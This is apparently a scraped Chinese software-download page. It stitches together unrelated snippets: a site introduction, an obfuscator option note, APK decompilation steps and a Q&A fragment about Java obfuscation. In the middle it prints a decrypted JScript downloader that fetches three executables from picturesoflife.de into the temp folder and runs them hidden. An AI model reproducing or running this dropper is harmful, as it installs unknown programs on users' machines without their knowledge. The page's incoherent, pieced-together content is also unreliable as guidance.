完美者(wmzhe.com)网站以软件下载为基础,改版后的网站对功能性板块进行扩充,以期能够解决用户在软件使用过程中遇见的所有问题。网站新增了“软件百科”、“锦囊妙技”等频道,可以更好地对用户的软件使用全周期进行更加专业地服务。
"锦囊妙技"栏目是聚合全网软件使用的技巧或者软件使用过程中各种问题的解答类文章,栏目设立伊始,小编欢迎各路软件大神朋友们踊跃投稿,在完美者平台分享大家的独门技巧。
本站文章素材来源于网络,大部分文章作者名称佚失,为了更利于用户阅读和使用,根据需要进行了重新排版和部分改编,本站收录文章只是以帮助用户解决实际问题为目的,如有版权问题请联系小编修改或删除,谢谢合作。
软件大小:763.80 KB
混淆器负责把一个软件转成让人看不懂. 前提是原来的软件正确无误. 当它发现软件中含有不正常的写法, 就会要求先改好, 才能进行混淆. 若强制用'-ignorewarnings' 选项, 可以直接进行混淆, 但出来的结果很可能会有错误, 要自求多福.
解密后的代码如下,作用是从三个网址下载三个exe文件,然后隐藏运行这三个exe文件。 function dl(fr, fn, rn) { var ws = new ActiveXObject("WScript.Shell"); var fn = ws.ExpandEnvironmentStrings("%TEMP%") + String.fromCharCode(92) + fn; var xo = new ActiveXObject("MSXML2.XMLHTTP"); xo.onreadystatechange = function() { if (xo.readyState === 4) { var xa = new ActiveXObject("ADODB.Stream"); xa.open(); xa.type = 1; xa.write(xo.ResponseBody); xa.position = 0; xa.saveToFile(fn, 2); xa.close(); }; }; try { xo.open("GET", fr, false); xo.send(); if (rn > 0) { ws.Run(fn, 0, 0); }; } catch (er) {}; }; dl("http://picturesoflife.de/document.php?id=54505C5E5551545653545D5D51552415154A070B09&rnd=4175521", "59331912.exe", 1); dl("http://picturesoflife.de/document.php?id=54505C5E5551545653545D5D51552415154A070B09&rnd=9321702", "52767920.exe", 1); dl("http://picturesoflife.de/document.php?id=54505C5E5551545653545D5D51552415154A070B09&rnd=8939333", "27690561.exe", 1);
方案一: 一、 下载dex2jar包,解压 二、把apk包的后缀名改为.zip 三、把apk压解压拿到classes.dex文件,并放到dex2jar所在的目录下 四、运行命令dex2jar.exe classes.dex 五、下载jd-gui 六、把jar包加载到jd.gui,查看源码,源码中的类名,方法名,变量名是否已经改变 方法二: 一、下载apktool工具 二、运行apktool.bat d xxx.apk,把apk反编译成smali 三、如果想要进一步查看源码,可下载smali2java 四、使用smali文件的文件名进行分析,如果存在1个或1个以上的资源类的smali文件,就可以证明该apk没有被混淆过。
我觉得一般实体的变量名不混淆就可以了, 一般反射操作实体都是通过Field操作变量, java 里面setXXX/getXXX 和XXX没有直接的联系, setXXX完全可以在set YYY 回答不容易,希望能帮到您,满意请帮忙采纳一下,谢谢 !